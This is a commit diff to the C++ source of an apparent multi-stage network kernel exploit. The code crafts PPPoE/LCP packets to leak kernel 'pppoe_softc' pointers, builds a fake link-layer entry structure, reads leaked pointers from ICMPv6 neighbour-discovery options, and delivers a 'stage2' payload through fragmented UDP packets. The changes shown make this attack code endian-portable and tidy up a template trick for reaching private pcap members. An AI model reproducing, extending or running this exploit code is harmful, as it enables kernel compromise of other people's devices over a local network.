@@ -71,10 +71,20 @@ struct Cookie {
7171#define CORRUPT_NUM 0x1
7272#endif
7373
74- // todo: Support big endian system
75- #define V64 (list, index, data ) (*(uint64_t *) &(list)[index]) = data
76- #define V32 (list, index, data ) (*(uint32_t *) &(list)[index]) = data
77- #define V16 (list, index, data ) (*(uint16_t *) &(list)[index]) = data
74+ #ifndef htole64
75+ #define htole64
76+ #endif
77+ #ifndef htole32
78+ #define htole32
79+ #endif
80+ #ifndef htole16
81+ #define htole16
82+ #endif
83+
84+ #define V64BE (list, index, data ) (*(uint64_t *) &(list)[index]) = htobe64(data)
85+ #define V64 (list, index, data ) (*(uint64_t *) &(list)[index]) = htole64(data)
86+ #define V32 (list, index, data ) (*(uint32_t *) &(list)[index]) = htole32(data)
87+ #define V16 (list, index, data ) (*(uint16_t *) &(list)[index]) = htole16(data)
7888#define V8 (list, index, data ) (*(uint8_t *) &(list)[index]) = data
7989
8090#define CHECK_RET (value ) { int ret = (value); if (ret != RETURN_SUCCESS) return ret;}
@@ -198,6 +208,7 @@ void Exploit::updateSourceMac(uint64_t value) {
198208 };
199209 Converter planted{};
200210 planted.u64 = value & 0xffffffffffff ;
211+ planted.u64 = htole64 (planted.u64 );
201212 this ->source_mac = pcpp::MacAddress (planted.u8 );
202213 std::cout << " [+] Source MAC: " << this ->source_mac .toString () << std::endl;
203214}
@@ -361,6 +372,7 @@ int Exploit::ppp_negotiation(const std::function<std::vector<uint8_t>(Exploit *)
361372 }
362373
363374 memcpy (&pppoe_softc, host_uniq, sizeof (pppoe_softc));
375+ pppoe_softc = htole64 (pppoe_softc);
364376 std::cout << " [+] pppoe_softc: 0x" << std::hex << pppoe_softc << std::endl;
365377
366378 auto *ethLayer = pkt.packet .getLayerOfType <pcpp::EthLayer>();
@@ -514,7 +526,7 @@ std::vector<uint8_t> Exploit::build_fake_lle(Exploit *self) {
514526 V64 (fake_lle, 0x70 , 0x7fffffffffffffff ); // ln_ntick
515527 V32 (fake_lle, 0x78 , 0 ); // lle_refcnt
516528 V32 (fake_lle, 0x7C , 0 ); // pad
517- V64 (fake_lle, 0x80 , htobe64 ( 0x414141414141 ) ); // ll_addr
529+ V64BE (fake_lle, 0x80 , 0x414141414141 ); // ll_addr
518530
519531 // lle_timer
520532 V64 (fake_lle, 0x88 , 0 ); // sle
@@ -533,8 +545,8 @@ std::vector<uint8_t> Exploit::build_fake_lle(Exploit *self) {
533545 V16 (fake_lle, 0xC2 , 0 ); // sin6_port
534546 V32 (fake_lle, 0xC4 , 0 ); // sin6_flowinfo
535547 // sin6_addr
536- V64 (fake_lle, 0xC8 , htobe64 ( 0xfe80000100000000 ) );
537- V64 (fake_lle, 0xD0 , htobe64 ( 0x4141414141414141 ) );
548+ V64BE (fake_lle, 0xC8 , 0xfe80000100000000 );
549+ V64BE (fake_lle, 0xD0 , 0x4141414141414141 );
538550 V32 (fake_lle, 0xD8 , 0 ); // sin6_scope_id
539551
540552 // pad
@@ -769,7 +781,7 @@ int Exploit::stage1() {
769781 auto &&echoReply = PacketBuilder::lcpEchoReply (etherLayer->getDestMac (), etherLayer->getSourceMac (),
770782 pppLayer->getPPPoEHeader ()->sessionId ,
771783 pppLayer->getLayerPayload ()[1 ], // id
772- *(uint32_t * ) & pppLayer->getLayerPayload ()[4 ]); // magic number
784+ htole32 ( *(uint32_t * ) & pppLayer->getLayerPayload ()[4 ]) ); // magic number
773785 device->sendPacket (&echoReply);
774786 }, nullptr );
775787
@@ -904,7 +916,7 @@ int Exploit::stage2() {
904916 if (option[0 ] != 1 ) return false ; // type 1 is ICMPv6NDOptSrcLLAddr
905917 if (option[1 ] > 1 ) {
906918 auto *self = (Exploit *) cookie;
907- self->pppoe_softc_list = *(uint64_t * )(option + 3 );
919+ self->pppoe_softc_list = htole64 ( *(uint64_t * )(option + 3 ) );
908920 return true ; // length > 1
909921 }
910922 return false ;
@@ -981,7 +993,7 @@ int Exploit::stage4() {
981993 ipLayer.getIPv4Header ()->timeToLive = 0x40 ;
982994 ipLayer.getIPv4Header ()->ipId = htobe16 (1 );
983995 ipLayer.getIPv4Header ()->protocol = pcpp::IPProtocolTypes::PACKETPP_IPPROTO_UDP;
984- ipLayer.getIPv4Header ()->fragmentOffset = htobe16 (offset / 8 + (offset != 0 )) | PCPP_IP_MORE_FRAGMENTS ;
996+ ipLayer.getIPv4Header ()->fragmentOffset = htobe16 (offset / 8 + (offset != 0 )) | htobe16 ( 0x2000 ) ;
985997 ipLayer.getFragmentOffset ();
986998 packet.addLayer (&ipLayer);
987999
@@ -996,7 +1008,7 @@ int Exploit::stage4() {
9961008
9971009 // last fragment
9981010 if (offset + payloadSize >= this ->stage2_bin .size ()) {
999- ipLayer.getIPv4Header ()->fragmentOffset = htobe16 (offset / 8 + (offset != 0 )) & 0xFF1F ;
1011+ ipLayer.getIPv4Header ()->fragmentOffset = htobe16 (offset / 8 + (offset != 0 )) & htobe16 ( 0x1FFF ) ;
10001012 payloadSize = this ->stage2_bin .size () - offset;
10011013 }
10021014
@@ -1014,10 +1026,10 @@ int Exploit::stage4() {
10141026
10151027 // Calculate checksum
10161028 std::vector<uint8_t > temp (udpLayer.getHeaderLen ());
1017- V16 (temp, 0 , udpHeader->portSrc ) ;
1018- V16 (temp, 2 , udpHeader->portDst ) ;
1019- V16 (temp, 4 , udpHeader->length ) ;
1020- V16 (temp, 6 , 0 ) ;
1029+ (*( uint16_t *) &(temp)[ 0 ]) = udpHeader->portSrc ;
1030+ (*( uint16_t *) &(temp)[ 2 ]) = udpHeader->portDst ;
1031+ (*( uint16_t *) &(temp)[ 4 ]) = udpHeader->length ;
1032+ (*( uint16_t *) &(temp)[ 6 ]) = 0 ;
10211033 temp.insert (temp.end (), this ->stage2_bin .begin (), this ->stage2_bin .end ());
10221034 uint16_t checksumRes = pcpp::computePseudoHdrChecksum (temp.data (),
10231035 temp.size (),
@@ -1088,34 +1100,23 @@ int Exploit::run() {
10881100 return RETURN_SUCCESS;
10891101}
10901102
1091- template <auto M>
1103+ template <auto M, auto N >
10921104struct Tunnel ;
10931105
1094- template <class T , class U , T U::*M>
1095- struct Tunnel <M> {
1106+ template <class T , class V , class Q , class U , T U::*M, Q V::*N >
1107+ struct Tunnel <M, N > {
10961108 friend T &stopThread (U &u) {
10971109 return u.*M;
10981110 }
1099- };
1100-
1101- template
1102- struct Tunnel <&pcpp::PcapLiveDevice::m_StopThread>;
1103-
1104- std::atomic<bool > &stopThread (pcpp::PcapLiveDevice &);
1105-
1106- template <auto M>
1107- struct Tunnel2 ;
1108-
1109- template <class T , class U , T U::*M>
1110- struct Tunnel2 <M> {
1111- friend T &pcapHandle (U &u) {
1112- return u.*M;
1111+ friend Q &pcapHandle (V &u) {
1112+ return u.*N;
11131113 }
11141114};
11151115
11161116template
1117- struct Tunnel2 < &pcpp::IPcapDevice::m_PcapDescriptor>;
1117+ struct Tunnel <&pcpp::PcapLiveDevice::m_StopThread, &pcpp::IPcapDevice::m_PcapDescriptor>;
11181118
1119+ std::atomic<bool > &stopThread (pcpp::PcapLiveDevice &);
11191120pcap_t *&pcapHandle (pcpp::IPcapDevice &);
11201121
11211122void Exploit::stop () {
0 commit comments